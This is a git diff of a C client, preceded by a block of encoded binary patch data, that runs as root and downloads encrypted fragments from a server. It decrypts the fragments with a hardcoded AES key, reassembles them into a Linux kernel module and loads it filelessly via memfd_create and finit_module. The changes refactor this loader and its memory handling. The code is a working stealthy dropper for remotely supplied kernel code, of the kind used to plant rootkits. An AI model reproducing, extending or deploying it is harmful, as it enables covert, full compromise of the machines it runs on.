zd+uvWpH}+X05Z&dYnalvf|iCtobM{~n1!PIR^u6XtG4{x1Ljj$jT<$6g*!4{+kd@_ z3+-E|wSD#j%_$tB+lK!~?H{)M=2LZRPf2NyE>~KA)5jE`?l=KT!U;m$zR?UbXhrM? zkNmVk*L9EWR8QIv9T7W&Oc3!7zZ&GI9&$?2!ZLkryR<5zwVSm{+SNe&3#pTcis4Rj z4L2FpsOTg@fICU5T60}aO;zhB?Q#0aarlDqkM($}pU`xk!gLu58rxM)V%Jo)iuRj> zF3010SA|NYrh#}}ug4*I1vL<@yF~S#fQkIpYw+m)DYXSnLv%3RnnGJCVok&fJ6QpP zVw*{o#?SzFko}ejPvp&VLlADNrJgoQs7s>-n93|zu^gmDgTG{No0%$;_%x4nV zsi@Rkf|PDM>3fty+4$K5F7~BbF}nllx2q$swiMEQxzGBBtb};K-U}uMFr_0CF zQvf>=4JDhzO3)4sn7P!_KnusV;7E+LoNL!CG zRSH!d?XCcHD*!9Yb_lnFvK7nNb`M2#D@Ak-MIt*+BwpyNM$}CsCtEGp28Z{HVB}Mi z2$XDtB}_8?(Q&XC=D_f(d9=dT`2yt$)VF%dYIjH!_6n5jRZ^&Pm<^O5r$Sl83vG%D zMs#GuJdWA7pNeLnbRBE}Jh=A!7tJqynD%5V`m)%lR<|-J?tI2V0~W8xdjf@gVuQ_w zk^B7Z+QzmiU{0qP9jCG^)yjf;6$8UwT(t|BFC&>xNyZjOW(#D3X6(b(^(3U#{}vKx zimd(mXRsnP(9AH=qjlO)}PKL#Rd9eTMV!lHeZhq=Y22w@{h}Cdu;6H6Ve` zMc7Skl~8k?h>H?0wp7rGV4%bPIUxBHQP>Wu(u0r%G~}g3ctcviX>IdDFEN ztMyu}aEc>ZlPj5mevE=Xo@DCc$jpI^utsu)B==Apx$7fx$W`eF7C*MQ)!jX+jZD-= z2L{S^b;=i)IYQh@X5Qx_s z0rS~!A|s5ft{BkxGSMqBwjbGZ`gZhR?gnspz+Z9kZbou9IT#F7Pa=>{-G)%p%~&A? zZvK;Ly-DFKg#Le8CkQBZHUcd%Nm&#R+Ne;bzaVWPl4({{ zHWGdh4RIwx2>Ehhjc|~4v{&VD`uwVjY*HjJw)qp|3rKZjf))n`0x1x{ zE}uV<8(r6>bfp&83$9Ijgm#X3^{!32>2SWs?>mc51e*xVftIQ~oEr>>q_)Ev}sH#%vNjs!80IU#{?qQ@M2!QRuYUG{oZ=jXxL#NYxDQkcIBu#$a<>rQ|hrGeyhAd~A!XiW)P>yfEwrVaI!ub6-S0#+LnWYm9KeJ`-GkwR<`=lT?q zY)~!;`PorT9lZh@N^SM|5P^aedJaDUMq@6+C1H+DwZ6BYQ>8N^<6I%qVnnf?FYI z%|WYSR-%T^E8!N+aF(Kwz*7(#TL8B(`)GZL3UtuYST)l(E`Lnr1k0XU$I3Yq=8n%n zfzXvv%Ep=*-iZ_MmCwT(|g>N1)|H zx*N%1NH$6jnn zYm4UwR5Sbf!15Jo zKaX71%ZC|F)rdS_NNau=Dc%0Vec!<$wA64{Ura5p_oQGMrDY&fk861h8o{Tz;A({} zY1&E#>6XG+gEwdfm$Ksxh2okdR_pHuWthP{hbt>e4Q~S8a*#4uh?KG=fySpW$18b? z%VaOB(ACbM&$JO#nxYTl*+`SRZSaAt9$CzdWASOt z;;%G|KWcG6JV@ z5tY8*b0DduU+%puqKT(Zq0*SOu@>r$mj+1c6B*l{<}TQ0I_$en4cbUN%L zTjTJ!ohu!($5FG=Q6tl9MjRebs^qCD9Ye4D$SRelD{tqhbd^IPSI+R{Wm5_=r1yu6!OK_h9u!^v^cE7iXhEJ_=v(HjER}C_tV)&W zNbK#mGpu6c-nc8JjhBK&skS z+^$@Cg~L%j+UBfW=@^hYKxr_A^A=pFz?O?wRXfOOHW8IqhJ8RP(P84w1;u&AB@5)~ z^JbVKTq!T%c3R=}R->KXS!AAHVqQ?Z1me=2=D9OujUchQ1uv#S8@D^0c*%_yDVG~n z@AkRuqB-lTQwfhlb~?(uvYWaF-Y;ZR5-B(GEn-V^NGX@DSEfn@q?;>e*Jfl-g4%4C-BAl0u&sDKd!gdN^rGpb z$B&B$&Y%!QJV}+NQ;+ias^m&nsk;VMh`P{d>Z_;h|%%ty|}+6@fB8mEGsw8*KwW-!s4O&wjMOs?Vcmmsd~xO=;-a&Gui6 z+wlIt=NeD0x+e5a=Z5!=K0PXbci-36ynKJ3(T#t5?CO?H_Vhnq{gu3Zx#gawuRqLd zerWBn6IXVf`k-q5u48B0>ff$gxW##C>$Vm4)!#1r=b1MhKb?11!e#F{dzY3@P5bU2 z15z3e%C0GQr&s2m%3JzQ%{}G6K5{DQ=2^#j-S*G=0Y_KtO8w1u+jdQKZh2+e@i$+6 z-}LR?7e8@!jPu>~k@@g|<0o&QdgS*nX1_NgSNd@Ny7})O9BgZE*>!g3b;I`WSopKe zdk&}l=C#IOG$v-IY)H1g@?QS~!$bXE{>d8mm_hj!i+_K$?e(dn%XV+dJGrv=J?|&% zm5*+@A^n{%{Pi#2bM3C(y?=A6<(K1+H3onEW}n&#-%4qZZ0q~fkSzoM`s#q?4~(8# zmGZRH{#e3YrKiu%U$J7D&3RQvwxfQowCt7lUUq73&e$oE4e;jykyQ47l z$4fqIY!0m1&~*Nzt3Oyad-RFRzh3k9Mo0d!?-$!%DR^uCu3WFQ_t}rLUpnlN)i`AhAMOHX)4_nPtP)k)*6`KiBqbIpJcZoVhE z@OOEMKTc2Y*Zi>D|ILhD6^nM%yXC&e%9?(8%J$a4Z$G?y%bV|wynajj_MO|_ZM$OX zj@us`urq7QU9bJ|CFh=2xvuf=yLYtwy#L3$lYV~mW$)x!?|k-O_a6Pv%SXK5t8VZ~ z&n5jzKY3`1{mEOFR}I*9$MV(v4i7x_pW(hw{P+)2>dU|Avv$T4Y28PkP5DX1R|(hr zu&;OJl10nD`R{Vax_fe*Kl)qm6|R*-kNwa&>TUlWt52jKn)5-q`=h3Bzx|^5k?GBU zyyBflwl57nd;IwQPaOHx{(T*jioW`2-k0UC9w}e6_xTTc@4EH2oL4L-Mh)o5ADa4K z=jJ5kEM46z?~N~(epK>N`L-_}agANoTsd>&4%>fUSy#4q>rr<`&c_u+oA2#^C}~!| zSDOYWUO#3;a!K=)J%7sV_u4Cu-?4L4ujM=L`fd2#ePa)|?+X0ly&JFo!-scn-)H}i z5nq*_dFI*WzSJkG5?|=u_nBLB26ok#_o=ybk(9iCPRr)YRyTh9hfy!zH)-hZ{{QjF z(Z>fgzw_xIzc{((x{u!PckJlf4^R8}*q1#!KB#cjow)WdgPR|`b41g*zuvpueebM4 z4mo{C%7*IYY2iOl>0NeLzl1^IUpOAE{KK-Ix5F!J=EKgxwI8Q${ru>FcZ=(K&E2;n zX|ioZ`ES1&ytKVwR^{yX?{(cWXZevooV?@sdu9DTGIdYsxM{&3_P+3^U%dL^1BYLk z6$XH6$4E-qij)pH1M;906O*cz3%+pF{Nweq9oF^^HE1FAh#G6+n z&CDy#%a?}UIe9`Ae#htV?>PP)&%a~&cVd;4Vad%X$j!iQw3u5nJQ<@WdWPPaT_r;| zyNZ@y_FTrLjN30TC^$h^cpvHg`yLX@oF~= z$yk+11-x#-EJg2%TP2e*hy6Oqxq|Iu>88D2PRwb-GQ9(iExV}@Wp=fEvoYRRRXZ`M z%lw)+ngUrs&NSCnBU2PEW3}%_aNUr}SZyDfiiZ#*!#ll|PhCw3=M<-8kFT^8E8;Sr z)456#Z!DzcCsy4=kM^%p3$7As_$n1B3sLcsJsYoG%XrZjcYR0Ms=>>@tpLxt4NaOt zyE!>1?2Y@w;qyr69}I`-owjQLgMj1S42Or~)Sw)224EAQ9dOW}vB?jZcQ_n=5%5L8 zLxBGPJOh~79uD`%CfTn6Zv^}RFduNtk#N`v_!!_uz=21h4_FI$2=E->8Nd{rUia?> zJJ|cU5%3T;_VNKoV)M=kcmp;_Hvv`y?gVTBJO=p92jMW?$@1Mt;qVY#-A(TdhbIA= z02c#3h6`b}fY;)R^fQ2or^4Y@z&yZHfWHRpg{$$aaI?g4z#QBYFayvANH3n=2>1}- zuK}L}Yy;d6cmnVg;Ay~KxR>EP;BdfQxcg%U;0ZuGU?y&1dI)eLZi#vhumG?X@EY8O z)d|=GNIRu>I32M2$Go5C!J{7_}d5?ipa-s{La8%=Du)PM!ckf=`#lonUmJ<-jsFHtyfODVf^sx zNsw&O9SgnN!eQD7lkx_pKb$yyK<{c~2$c96@i!FwB0!CwSil0re-VEL;4hBiFJM0T zaR`6);AfL_s(njcQqr(wB@>Xz&RP65914f&HVaKIu}sT{?oI3fe|8jqhQ^-&e!^eE z;qiLDOUZ)l7lVHp_^b8&M4zVb1>Xfew(KMMuZ-wF3BDhEqd4pY|5fmp>GczrX!ehR z|4;DgF7inEYBl~@@b7pl99|y9cWC^}(C?lD|NbccDvdt@{6zH6OJGN{pEMwW1i1X* zp9Nn=|BLX4CaHWc@zFn@i{k%M=Bl+JS-n=H{Cx0FfNzw)6a04YoAmmL zJ0s->zY_ju==nPTUIgC-J{|*z)MMgoP5%)1&wxK5sx77@lE4tCoB`jDJ5VUCwF4xn z>?xRY>cKmr=OrG}Y-fU>gSqZR6#pIO%b;1n?*_k2-wu;(N+SfH@^C_C9Ogr#_OlUu z5BS?4tNEAstmeau;C~PP!l*pvYklny_+$Tub{@t5Q1gMzUOX;F;9>+WM&M!uE=J&D z1TIG4Vg&xZ2*?>G7VI9bKw4tav4hr{I8>b8@vq0}o&I$2nwb)^iGK0DH|2P;z{H6k z30(c2*-(Mg-T)m}DnRO7YvL5GC+Sf6|M(&7CcHJtL_qmA8(?j!iBSFy0KuT(tCvGA z#kmn3{S?6KWJ=QAPWnTLNx=t9OcuqGhG5M}hq{k~trtG75U_oqiBl?lgTPh4EkX{@ zG4a7`bEI&~2bX7vkPi!7&9__N8wZ#a#sAO0>i6Sfv&|9pJ5#`g0+tE5Qox4=d`iIQ z1>7y*0RfK-cv`@70`|U6DfeIjM+lfB;7kD*3RouKN&z1h@F@YG7jU^;mR(J@%S5d!82 zI8(rd0+tE5Qox4=d`iIQ1>7y*0RfK-cv`@70`?Z;z+eGK2$&-vJNGYsYKu(F-6UYE zfLm`@=+6uIqJS?8xLd%z0>);sPtXqv_?Cdj1Uw;Nr+~AjPtTPz@in}W^4RfN__B&T zE_>XB?D1oBG;7dgdb8!a?UqmP`EsfQcrY+2+3mVI? z-5!rUYf)}??M?Qa?1?$!fj{2;7&)ykLrP=a2B@}_V0JdYj(GN;f;@eRPW{fTD*OW5xm=1}AHBl#E41~aDt{34OAxoKZZt88uNfgV z3?1weRY(Vq3;7+Qe)-x2_;igmo;+QPCHvjeOl*bso{^$GVxm7K=)C6)`jvvdb(9I1 zB=I#cK>D67$)CH`L}ZDt69DE2`c*SbL}t4LZvmaY)7QD)M5y*%W)sUZDeA{2>`b`X z#B{#ifmF4izco#v_h&BNTV!B|zCW0bcDsGOA}_?HEe7(xH=zHw0sUj950pNiqS)uX zeq`c8eaXmIUa!zW;^T7zJ7LfV(acq7V!2+5xHK>+emz#>ge6}6W*f*)XZk>?ezanL zt*~EYAn!1s(|4Sy-Y=P@*f}BW_(3QC=>c3mL;;=<^7OJ^I`~>F;1&b>FR+~<(xmk! zNJY-)UNw+EY(W2#=>sKtS0)|mc$Ead;>B&S0X>uH1Es5PQtYUoGM@_ipu}`3MbsB( zf}c4CcJ3B-t`Yrorcj_amB;gEoshq3ypk_p8-h^-dYb|L69alLToa=D4T=8F z*R+xEAf^kabzr!VfB7~OQ~6p8Qey;tqDi6Kn2Y-ph@O}xscRNNmZlikpKm~?r}ZyM z94J)}SL_4j<6)K`D0NL%=zJX(oXvt>G+Uvo{%mDBt496oGN88^(BC(pr}mCtzgIJT zpmctW;*X5>O2>~4l}v{;H7YYp0;s@ccDUTZ@kXjgCf^SJL|5!@|x) z(GFJ#<_Dk;g4fyWO-zAVK0X)nJ4F3%6ZG>2_OIzf?FX}mY!Z?R7!LZN#0%$(Y?6*Xvc^EZ!GQh?VJA=27hjKso#zeY8x82~!p@0lCTL^*$G?*F zp@IB2LjEbS4w)k4lSDnfFx|wI3_%~rbb;u=bq4et(Bpl#cea7N6Lgx#<@F|=b=*(I z^dCv-qF<=Y`wi?o4LY@-OkoEoA1@imzivQ3WEkgcMvA+F8 z$j=2`7HK_LVqnK@Kwob_$G3pJW3$}&d^PrctX^9=5tcd1@m!Nz!m}Vq;RDGvR&SLR zA5?ZZJdm`zt>sQP?n1ZPaj&Y!YV*}f>fNPwd?h%pgtZJ?G*(+pjct_`&qv@ES3FEm z<*?d)RaL8?qQk7TnG+={p0g^&lPF$%a+%yHbvkS=U$vD!?X1XZB=so;L8fPPu>B*R zfx&IMP7hF32uVB@WUaP&E0hme`|wR{{y;J~PIo!|;;AYpeQp_doq7aT>UN^&^torZ z&ugV`EHAT_u8_*`)K~=b;dv(zxj3-l!pEH}tMR}RTjsli5o|o(#qpn6lviN3;-MUT zJ=|)=j-b_Su_{E%j3UW8--Ursd^Z=gpkCz+7xC&YPBRwo15fc%@Z) zPDy>#ilWNTf~g;ZHmP55rVliubXGjh7V(z|^o4HrT6td0DxPps4Z)&=zGz(zp>ipo zKi)0w`JGL*=BPDAe==J6(7CG4niOx2DSfLN|D&9;I_UWq@j>n=j`rPg^*NQ8oaoEu z^hNU+GCxFS<)?2rN>Mhg^ig&%ZYQ?-@Z6EUH0n3kW30hle8D@)hEhUmUQ_{8CVWFY zN&+`pEZ9C5!UlMBWUdfSBLO>e3j@_l!F?LC@};Qb7ut})x(4)rh&3*3_VUX z&M3*1W!#C&qKFtW(ORNNT3|#Aqe(9&Bv=<DqpC_j;$bh-OeZ}df)~R*F@2*)@2@#@P->4MGJio z0gI7DzMd#m&S6Cq31dMi#k|*eL}f!wmj?#waTg9{ zx+X@$i_c>%b=w_0nomFWl!Xva% z-Y9dcI=Rz?P+sMBDKW(|<{po`Cb~hFamLX$C^S(NDa*5}ie|zriZjCsHAN4X)>KPb ze1)>y<;%iTMi{xgt8}DgzDlQkbfsO8@}|umO$*yB60fj%Dx@s?Di^X)AVx3d;0b0A z9$Sh+tl(k1wvmEJRXe>>7By}uiyj7(vS?iko|~5~Sq@r7(z>?74qX*fG{kz8HPkc= z+o~!{k*gcF@RP+ED8|q}r7TR?RkU=>5*Kv2=%7<+xTIM&FP5gud|oU*{;!Xru#kYi zL}6)2l8IA8#D0-_--}?gtePe`41YM4*Yqa|{YgUK1fKrD>1foE15B@9EA(j}n2zBJ z(0+SqDJ3x*K(DV}AACmW%Q5n?`isEFn@ikk`CCQ)^qd17nF`SE=ZW>-27W*Msru^u zK0%>R`&e|4j|uow_0{`sDnTPrRbRb-h#wXQUAc{~0n+QLGmFYK&F?1zBo9f?}%btM?mi5c(D&sOGQgtL1-M z=uZ=J>itXYLSMb#iS)0)U#$MGK%aVJ&;&h!?udnV~KUttih-y^DIo2A2#18zCz8Zh^ z`i@knNPSI>Q+LR^G$mifpI%?RzIgUdMQ|@Mbw^A%q&LCS>u+CTV(IN-L+OlGF^Unj z{uE4--bR9|T67of`gliGe0f!0g&#pIO{cG3kMI09^}C=;E~@#f*HME)zgv`_+CLp? zzG^+51&u^h{f-Ar!0QR25{ch@MK$Ktin>5=npF#FEus2GR^wP(d%~Kg5m+F-tc36op!9TsW@5 tAMHh}aaYH$zM#c~2o#j3o`Liv_TltLj62vXj<3J}QAKM?j6w`5{U6Ex_&ERo diff --git a/client/include/cipher.h b/client/include/cipher.h index a356bfe..7ee6f78 100644 --- a/client/include/cipher.h +++ b/client/include/cipher.h @@ -14,10 +14,12 @@ #include typedef struct{ - unsigned char *decryptedtext; + unsigned char *decrypted_text; size_t text_size; -} decrypted; +} decrypted_t; -decrypted *decrypt_fraction(fraction_t *fraction); +decrypted_t *decrypt_fraction(fraction_t *fraction); char *generate_publickey(void); +void decrypted_free(decrypted_t *decrypted); + #endif diff --git a/client/include/load.h b/client/include/load.h index 6703306..56e8e48 100644 --- a/client/include/load.h +++ b/client/include/load.h @@ -1,18 +1,16 @@ +#include #define _GNU_SOURCE #include +#include +#include #include #include -#include -#include -#include -#include #include +#include -#include "../include/log.h" #include "../include/cipher.h" +#include "../include/log.h" -int load_lkm(const unsigned char* lkm, ssize_t total_size); -int is_lkm_loaded(const char *name); -int remove_lkm(); -int create_lkm(int num_links,fraction_t *fractions); +uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len); +int load_lkm(const uint8_t *lkm, ssize_t total_size); diff --git a/client/src/cipher.c b/client/src/cipher.c index db39723..2b82325 100644 --- a/client/src/cipher.c +++ b/client/src/cipher.c @@ -2,88 +2,98 @@ #include "../include/fraction.h" #include #include +#include -decrypted decryptedstr; - -void handleErrors(void) -{ - ERR_print_errors_fp(stderr); - abort(); +static void handle_errors(void) { + ERR_print_errors_fp(stderr); + abort(); } -int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, +static int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) { - EVP_CIPHER_CTX *ctx; - int len; - int plaintext_len; + EVP_CIPHER_CTX *ctx; + int len; + int plaintext_len; - if (!(ctx = EVP_CIPHER_CTX_new())) - handleErrors(); + if (!(ctx = EVP_CIPHER_CTX_new())) + handle_errors(); - if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv)) - handleErrors(); + if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv)) + handle_errors(); - if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len)) - handleErrors(); - plaintext_len = len; + if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len)) + handle_errors(); + plaintext_len = len; - if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len)) - handleErrors(); - plaintext_len += len; + if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len)) + handle_errors(); + plaintext_len += len; - EVP_CIPHER_CTX_free(ctx); + EVP_CIPHER_CTX_free(ctx); - return plaintext_len; + return plaintext_len; } -decrypted *decrypt_fraction(fraction_t *fraction){ + +decrypted_t *decrypt_fraction(fraction_t *fraction) { size_t decrypted_size; - unsigned char key[32] = { - 0x6d, 0x46, 0x75, 0x32, 0x4c, 0x2f, 0x69, 0x34, 0x78, 0x65, 0x76, 0x4a, - 0x34, 0x4e, 0x33, 0x36, 0x72, 0x44, 0x74, 0x35, 0x35, 0x5a, 0x4f, 0x34, - 0x35, 0x4b, 0x63, 0x72, 0x6e, 0x30, 0x75, 0x57 -}; + unsigned char key[32] = {0x6d, 0x46, 0x75, 0x32, 0x4c, 0x2f, 0x69, 0x34, + 0x78, 0x65, 0x76, 0x4a, 0x34, 0x4e, 0x33, 0x36, + 0x72, 0x44, 0x74, 0x35, 0x35, 0x5a, 0x4f, 0x34, + 0x35, 0x4b, 0x63, 0x72, 0x6e, 0x30, 0x75, 0x57}; + + unsigned char *decrypted_text = malloc(fraction->data_size); + + if (decrypted_text == NULL) { + log_error("Cannot assign memory for the decrypted text"); + return NULL; + } - unsigned char *decryptedtext = malloc(fraction->data_size+1); + decrypted_size = decrypt((unsigned char *)fraction->data, fraction->data_size, + key, (unsigned char *)fraction->iv, decrypted_text); - if (decryptedtext == NULL) { - fprintf(stderr, "Cannot assign memory for the decrypted text.\n"); - return NULL; - } + decrypted_t *decr = malloc(sizeof(decrypted_t)); - decrypted_size = decrypt((unsigned char*)fraction->data, fraction->data_size, key, (unsigned char*) fraction->iv, decryptedtext); + if (decr == NULL) { + log_error("Could not allocate memory for decrypted struct"); + return NULL; + } - decryptedstr.decryptedtext = decryptedtext; - decryptedstr.text_size = decrypted_size; + decr->decrypted_text = decrypted_text; + decr->text_size = decrypted_size; + return decr; +} - return &decryptedstr; +void decrypted_free(decrypted_t *decrypted) { + free(decrypted->decrypted_text); + free(decrypted); } -char *generate_publickey(void){ +char *generate_publickey(void) { EVP_PKEY *pkey = NULL; EVP_PKEY_CTX *pctx = NULL; pctx = EVP_PKEY_CTX_new_from_name(NULL, "RSA", NULL); - if(pctx == NULL){ - handleErrors(); + if (pctx == NULL) { + handle_errors(); return NULL; } - if(EVP_PKEY_keygen_init(pctx) <= 0){ - handleErrors(); + if (EVP_PKEY_keygen_init(pctx) <= 0) { + handle_errors(); EVP_PKEY_CTX_free(pctx); return NULL; } - if(EVP_PKEY_CTX_set_rsa_keygen_bits(pctx, 2048) <= 0){ - handleErrors(); + if (EVP_PKEY_CTX_set_rsa_keygen_bits(pctx, 2048) <= 0) { + handle_errors(); EVP_PKEY_CTX_free(pctx); return NULL; } - if(EVP_PKEY_generate(pctx, &pkey) <= 0){ - handleErrors(); + if (EVP_PKEY_generate(pctx, &pkey) <= 0) { + handle_errors(); EVP_PKEY_CTX_free(pctx); return NULL; } @@ -91,17 +101,18 @@ char *generate_publickey(void){ BIO *bio = BIO_new(BIO_s_mem()); - if(PEM_write_bio_PUBKEY(bio,pkey) <= 0){ - handleErrors(); + if (PEM_write_bio_PUBKEY(bio, pkey) <= 0) { + handle_errors(); EVP_PKEY_free(pkey); BIO_free(bio); return NULL; } char *pem_key = NULL; - long pem_len = BIO_get_mem_data(bio,&pem_key); - + long pem_len = BIO_get_mem_data(bio, &pem_key); + char *copy = malloc(pem_len); + memcpy(copy, pem_key, pem_len); BIO_free(bio); -return pem_key; + return copy; } diff --git a/client/src/fraction.c b/client/src/fraction.c index 3a17285..bebee40 100644 --- a/client/src/fraction.c +++ b/client/src/fraction.c @@ -9,13 +9,13 @@ int download_fraction(int sfd, char *url, fraction_t *fraction) { // Parse the URL to get the path path = get_path_from_url(url); if (!path) { - log_error("Invalid URL: %s\n", url); + log_error("Invalid URL: %s", url); return 1; } // Perform the HTTP GET request if (http_get(sfd, path, &res) != HTTP_SUCCESS) { - log_error("Failed to download: %s\n", url); + log_error("Failed to download: %s", url); return 1; } @@ -45,7 +45,7 @@ int fraction_parse(char *data, size_t size, fraction_t *fraction) { // Ensure the data size is sufficient if (size < HEADER_SIZE) { - log_error("Insufficient size: %lu\n", size); + log_error("Insufficient size: %lu", size); return 1; } @@ -59,7 +59,7 @@ int fraction_parse(char *data, size_t size, fraction_t *fraction) { // Check the magic number if (!check_magic(magic)) { - log_error("Wrong magic number: %02x\n", magic); + log_error("Wrong magic number: %02x", magic); return 1; } @@ -67,7 +67,7 @@ int fraction_parse(char *data, size_t size, fraction_t *fraction) { data_size = size - HEADER_SIZE; fraction->data = malloc(data_size); if (!fraction->data) { - log_error("Failed to allocate data for fraction\n"); + log_error("Failed to allocate data for fraction"); return 1; } // Set the extracted values in the fraction structure diff --git a/client/src/http.c b/client/src/http.c index 14639c9..29f9de6 100644 --- a/client/src/http.c +++ b/client/src/http.c @@ -199,12 +199,12 @@ int http_get(int sfd, const char *path, http_res_t *res) { req_buf_len = strlen(request_buf); if (send_request(sfd, request_buf) < 0) { - log_error("Error: failed to send request\n"); + log_error("Error: failed to send request"); err = HTTP_SOCKET_ERR; goto error; } - log_debug("Sent GET request\n"); + log_debug("Sent GET request"); res->request = malloc(req_buf_len + 1); if (res->request == NULL) { diff --git a/client/src/load.c b/client/src/load.c index 7b0a58b..0c7c3e4 100644 --- a/client/src/load.c +++ b/client/src/load.c @@ -1,109 +1,87 @@ #include "../include/load.h" #include "../include/cipher.h" +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include -int remove_lkm(){ +#include +#include - char command[10] = "rmmod lkm"; +uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len) { - int result = system(command); - if(result == -1){ - log_error("Error executing rmmod"); - return -1; - } - return WEXITSTATUS(result); -} - -int is_lkm_loaded(const char* name){ - - DIR *dir = opendir("/sys/module/"); - - if(!dir){ - log_error("Error opening the /sys/module directory"); - return -1; - } - - struct dirent *entry; - - while ((entry = readdir(dir)) != NULL){ - if(strcmp(entry->d_name, name) == 0){ - closedir(dir); - puts("Module already loaded!"); - return 1; - } - } - - closedir(dir); - return 0; - -} - -int load_lkm(const unsigned char *lkm,ssize_t total_size){ - - int fdlkm = memfd_create("lkmmod", 0); - if (fdlkm < 0) { - log_error("memfd_create failed"); - return -1; - } - ssize_t written_bytes = write(fdlkm, lkm, total_size); - if (written_bytes < 0) { - log_error("Error writing to memfd"); - close(fdlkm); - return -1; - } else if (written_bytes != total_size) { - log_error("Incomplete write to memfd (Expected %zu, wrote %zd)\n)", total_size, written_bytes); - close(fdlkm); - return -1; - } - if (syscall(SYS_finit_module, fdlkm, "", 0) != 0) { - log_error("Failed to init module"); - close(fdlkm); - return -1; - } - - printf("Module loaded successfully\n"); - close(fdlkm); - - return 0; -} - -int create_lkm(int num_links,fraction_t *fractions){ - - unsigned char *module = NULL; + uint8_t *module = NULL; ssize_t total_size = 0; ssize_t module_size = 0; - decrypted *decrstr; + decrypted_t *decr; - for (int i = 0; i < num_links; i++) { - - decrstr = decrypt_fraction( &fractions[i]); - if (decrstr -> decryptedtext == NULL) { + for (int i = 0; i < fractions_count; i++) { + decr = decrypt_fraction(&fractions[i]); + if (decr == NULL) { log_error("Decryption process failed"); - return -1; + return NULL; } + if (module == NULL) { - total_size = decrstr -> text_size; + total_size = decr->text_size; module = malloc(total_size); if (module == NULL) { log_error("Error in memory assigning"); - return -1; + decrypted_free(decr); + return NULL; } - } else if (module_size + decrstr -> text_size > total_size) { - total_size += decrstr -> text_size; - unsigned char * tmp = realloc(module, total_size); + } else { + total_size += decr->text_size; + uint8_t *tmp = realloc(module, total_size); if (tmp == NULL) { log_error("Memory reallocation failed"); - return -1; + free(module); + decrypted_free(decr); + return NULL; } module = tmp; } - memcpy(module + module_size, decrstr -> decryptedtext, decrstr -> text_size); - module_size += decrstr -> text_size; + memcpy(module + module_size, decr->decrypted_text, decr->text_size); + module_size += decr->text_size; + + decrypted_free(decr); } - if(load_lkm(module, total_size) < 0){ - log_error("There was an error loading the LKM"); + *len = module_size; + return module; +} + +int load_lkm(const uint8_t *lkm, ssize_t total_size) { + + int fdlkm = syscall(SYS_memfd_create, "lkmmod", 0); + if (fdlkm < 0) { + log_error("memfd_create failed"); + return -1; + } + + ssize_t written_bytes = write(fdlkm, lkm, total_size); + if (written_bytes < 0) { + log_error("Error writing to memfd"); + close(fdlkm); + return -1; + } else if (written_bytes != total_size) { + log_error("Incomplete write to memfd (Expected %zu, wrote %zd)", + total_size, written_bytes); + close(fdlkm); + return -1; } + if (syscall(SYS_finit_module, fdlkm, "", 0) != 0) { + log_error("Failed to init module"); + close(fdlkm); + return -1; + } + + log_debug("Module loaded successfully"); + close(fdlkm); return 0; } diff --git a/client/src/main.c b/client/src/main.c index 68251f4..ac1fed6 100644 --- a/client/src/main.c +++ b/client/src/main.c @@ -4,18 +4,16 @@ #include "../include/fraction.h" #include "../include/http.h" +#include "../include/load.h" +#include "../include/log.h" #include "../include/sock.h" #include "../include/utils.h" -#include "../include/log.h" -#include "../include/load.h" - #define SERVER_IP "127.0.0.1" #define SERVER_PORT "8000" -#define SYS_init_module __NR_init_module /* Helper functions to assist with cleanup, I hate cleanup */ -static void cleanup_char_array(char **array, int n_elem) { +static void cleanup_string_array(char **array, int n_elem) { for (int i = 0; i < n_elem; i++) { free(array[i]); } @@ -36,10 +34,11 @@ int main(void) { http_res_t http_post_res = {0}; char **fraction_links = NULL; fraction_t *fractions = NULL; - int module; + uint8_t *module = NULL; + ssize_t module_size; - if(geteuid() != 0){ - fprintf(stderr,"This program needs to be run as root!\n"); + if (geteuid() != 0) { + log_error("This program needs to be run as root!\n"); exit(1); } @@ -59,22 +58,29 @@ int main(void) { } freeaddrinfo(ainfo); - if (http_post(sfd, "/aeskey","text/plain",generate_publickey(),&http_post_res) != HTTP_SUCCESS) { - log_error("Failed to send RSA Public Key\n"); - goto cleanup; - } + //if (http_post(sfd, "/aeskey", "text/plain", generate_publickey(), + // &http_post_res) != HTTP_SUCCESS) { + // log_error("Failed to send RSA Public Key\n"); + // goto cleanup; + //} + if (http_get(sfd, "/", &http_fraction_res) != HTTP_SUCCESS) { log_error("Failed to retrieve fraction links\n"); goto cleanup; } + log_debug("Retrieved fraction links"); + int num_links = count_lines(http_fraction_res.data) + 1; - fraction_links = calloc(num_links,sizeof(char *)); + log_debug("%d links found", num_links); + + fraction_links = calloc(num_links, sizeof(char *)); if (!fraction_links) { log_error("Failed to allocate memory for fraction links\n"); goto cleanup; } + int lines_read = split_fraction_links(http_fraction_res.data, fraction_links, num_links); if (lines_read < 0) { @@ -82,7 +88,6 @@ int main(void) { goto cleanup; } - fractions = malloc(lines_read * sizeof(fraction_t)); if (!fractions) { log_error("Failed to allocate memory for fractions\n"); @@ -103,21 +108,32 @@ int main(void) { log_error("Fractions check failed\n"); goto cleanup; } - log_info("Verified fractions"); + log_info("Verified fractions"); - for (int i=0; i